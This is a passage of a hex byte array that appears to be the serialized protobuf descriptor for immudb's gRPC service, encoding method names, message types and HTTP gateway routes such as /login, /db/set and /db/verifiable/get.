0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, 0x01, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, 0x02, 0x01, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x12, 0x5d, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x6b, 0x65, 0x79, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x3a, 0x01, 0x2a, 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, 0x3a, 0x01, 0x2a, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, 0x69, 0x74, 0x68, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x12, 0x6c, 0x0a, 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x74, 0x0a, 0x0e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 